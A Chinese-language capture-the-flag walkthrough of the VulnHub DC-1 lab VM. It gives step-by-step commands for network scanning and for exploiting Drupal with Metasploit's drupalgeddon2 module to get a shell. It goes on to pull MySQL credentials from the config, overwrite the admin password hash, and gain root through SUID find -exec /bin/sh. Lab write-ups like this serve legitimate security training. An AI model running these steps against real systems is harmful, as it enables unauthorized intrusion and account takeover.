DC-1靶机渗透

Vuln hub 渗透测试实战

Vulnhub是一个开放的安全靶场,我们可以使用它所提供的环境进行渗透测试实战。
DC-1靶机渗透

DC所有环境下载地址:https://www.vulnhub.com/series/dc,199/

环境搭建:

1.下载 OVA(Open Virtualization Appliance:开放虚拟化设备)https://www.vulnhub.com/entry/dc-1-1,292/

DC-1靶机渗透

2.拖入 VMware 打开,配置相关设置,开启运行

3.打开 Kali Linux

进行渗透

1.探测存活目标

有很多方式进行探测,这里我使用 arp scan(速度较快)
使用 arp-scan 进行内网探测主机

arp-scan -l

DC-1靶机渗透

发现有 119 为 Vmware Inc,疑似可以进行渗透

2.探测目标开放端口

探测网段内所有主机是否开启22,23,3306,80端口,若开启则列出详细信息

nmap -sV -p 22,23,3306,80 192.168.1.0/24

DC-1靶机渗透

发现该主机开放 80 端口,使用了 Apache 服务,可以对其进行渗透测试

3.访问该主机

发现 Drupal 框架,使用 msf 工具进行攻击(msf将多数漏洞集成了模块可以直接使用)
DC-1靶机渗透

漏洞利用

1.打开 msfconsole 查找 drupal 相关模块

msfconsole    #打开 msf 工具

DC-1靶机渗透

2.寻找 drupal 相关模块

search drupal    #寻找 drupal 相关模块

DC-1靶机渗透

优先使用 时间新,rank高的模块(或自己根据情况进行判断)

3.使用相关模块

msf> use exploit/unix/webapp/drupal_drupalgeddon2    #使用该模块

DC-1靶机渗透

4.查看所有设置

msf exploit> show options #显示所有设置
DC-1靶机渗透

Required 为 yes 是需要配置的项,这里只有 RHOSTS (目标 ip 地址)没有设置

5.设置目标 ip 并执行

set rhosts 192.168.1.119    #设置目标 ip run    #开始攻击

如果成功就会拿到对方的 shell ,输入 shell 命令得到对方命令窗口,ls 发现 flag1

DC-1靶机渗透

6.使用 cat 打印出 flag1 内容,发现下一步提示 “配置文件”

DC-1靶机渗透

(每个好的CMS都需要一个配置文件,你也需要一个配置文件。)

7.找到配置文件,在 www 目录 ls 发现 sites 目录,进入目录

DC-1靶机渗透

8.找到配置文件,使用 cat 打印,发现 flag2 ,及 mysql 用户名和密码

DC-1靶机渗透
DC-1靶机渗透

(蛮力和字典攻击不是获得访问的唯一方法(您将需要访问)。您可以使用这些凭据做什么?)

9.根据上一步提示我们来看一下数据库

因为当前 shell 没有提示,所以我们使用 python 弹回一个新 shell

python -c 'import pty;pty.spawn("/bin/sh")'

DC-1靶机渗透

输入账号密码,进入数据库
DC-1靶机渗透

查看信息:

mysql> show databases;    #列出所有数据库

DC-1靶机渗透

mysql> use drupaldb;    #进入 drupaldb 数据库

DC-1靶机渗透

mysql> show tables;    #列出当前数据库所有表

DC-1靶机渗透

select * from users;    #列出 users 表中所有内容

DC-1靶机渗透

发现有用户名及密码 hash 值

10.更改 admin 密码

退出 mysql 命令行,测试 find 命令是否能够使用并进行利用

compgen -c    #查看当前可用命令
find / -name "*pass*"    #查看所有带有pass的文件

DC-1靶机渗透

发现 find 命令可以使用,查找所有带有 pass 的文件,发现 www 目录下有 /var/www/scripts/password-hash.sh 文件,使用 cat 打印

#!/usr/bin/php
<?php

/**
 * Drupal hash script - to generate a hash from a plaintext password
 *
 * Check for your PHP interpreter - on Windows you'll probably have to
 * replace line 1 with
 *   #!c:/program files/php/php.exe
 *
 * @param password1 [password2 [password3 ...]]
 *  Plain-text passwords in quotes (or with spaces backslash escaped).
 */

if (version_compare(PHP_VERSION, "5.2.0", "<")) {
  $version  = PHP_VERSION;
  echo <<<EOF

ERROR: This script requires at least PHP version 5.2.0. You invoked it with
       PHP version {$version}.
\n
EOF;
  exit;
}

$script = basename(array_shift($_SERVER['argv']));

if (in_array('--help', $_SERVER['argv']) || empty($_SERVER['argv'])) {
  echo <<<EOF

Generate Drupal password hashes from the shell.

Usage:        {$script} [OPTIONS] "<plan-text password>"
Example:      {$script} "mynewpassword"

All arguments are long options.

  --help      Print this page.

  --root <path>

              Set the working directory for the script to the specified path.
              To execute this script this has to be the root directory of your
              Drupal installation, e.g. /home/www/foo/drupal (assuming Drupal
              running on Unix). Use surrounding quotation marks on Windows.

  "<password1>" ["<password2>" ["<password3>" ...]]

              One or more plan-text passwords enclosed by double quotes. The
              output hash may be manually entered into the {users}.pass field to
              change a password via SQL to a known value.

To run this script without the --root argument invoke it from the root directory
of your Drupal installation as

  ./scripts/{$script}
\n
EOF;
  exit;
}

$passwords = array();

// Parse invocation arguments.
while ($param = array_shift($_SERVER['argv'])) {
  switch ($param) {
    case '--root':
      // Change the working directory.
      $path = array_shift($_SERVER['argv']);
      if (is_dir($path)) {
        chdir($path);
      }
      break;
    default:
      // Add a password to the list to be processed.
      $passwords[] = $param;
      break;
  }
}

define('DRUPAL_ROOT', getcwd());

include_once DRUPAL_ROOT . '/includes/password.inc';
include_once DRUPAL_ROOT . '/includes/bootstrap.inc';

foreach ($passwords as $password) {
  print("\npassword: $password \t\thash: ". user_hash_password($password) ."\n");
}
print("\n");

分析代码发现是生成 hash 值的 PHP 代码,使用方法:

php scripts/password-hash.sh + 转换hash的值

使用该代码将 123456 的 hash 列出

DC-1靶机渗透

重新进入数据库,update 进行更新 admin 用户密码

update drupaldb.users set pass = '$S$DVtWXRBEHZhH2qEOet/QhIN0m6meN5nNsKLAkioBygXI8PBuQAtF' where name = 'admin';

DC-1靶机渗透

11.使用用户名密码登入 Drupal cms,在 Dashboard 找到 flag3

DC-1靶机渗透

flag3:Special PERMS will help FIND the passwd - but yo 'll need to -exec that command to work out how to get what’sin the shadow.
特殊的 perms 会帮助你找到通行证,但是你需要执行 -exec 这个命令才能弄清楚如何在 shadow 中得到什么。

12.根据上一步提示来获取 root 权限(SUID提权)

SUID可以让调用者以文件拥有者的身份运行该文件,
所以我们利用SUID提权的思路就是运行root用户所拥有的SUID的文件,
那么我们运行该文件的时候就得获得root用户的身份了。

以下3条命令根据个人情况自行选择,我是 kali 系统,我这里选择第一个

find / -user root -perm -4000 -print 2>/dev/null    或
find / -perm -u=s -type f 2>/dev/null    或
find / -user root -perm -4000 -exec ls -ldb {} \;
#使用 find 查找 root 用户创建权限 4000 的文件
/ 表示从系统的根目录开始遍历所有目录
-perm 表示搜索的权限
-user root 或 -u=s表示查找 root 用户拥有的文件
-type 表示寻找的文件类型
f 表示常规文件,而不是目录或特殊文件
2表示该进程的第二个文件描述符,即stderr(标准错误)
>表示重定向

DC-1靶机渗透

利用find执行进行提权

find flag1.txt -exec whoami \;    #查看创建 flag1.txt 文件用户的权限
find flag1.txt -exec '/bin/sh' \;    #使用 find 以 flag1.txt 创建者身份回弹 shell

使用 find 命令查找 flag,发现 flag4 和 thefinalflag

DC-1靶机渗透

flag4:
DC-1靶机渗透

是否可以使用相同的方法查找或访问根中的标志?可能吧。但也许没那么容易还是很容易?
(正常方法或许是进入 flag4 用户,我这直接获取了 root 权限)

thefinalflag:
DC-1靶机渗透

干得好!
希望你已经享受了这一切,并学到了一些新的技巧。你可以通过 twitter -@DCAU7 联系我,让我知道你对这段小旅程的看法。

上一篇:【cruch bang】中切换成左手鼠标


下一篇:未启用当前数据库的 SQL Server Service Broker,因此查询通知不受支持。如果希望使用通知,请为此数据库启用 Service Broker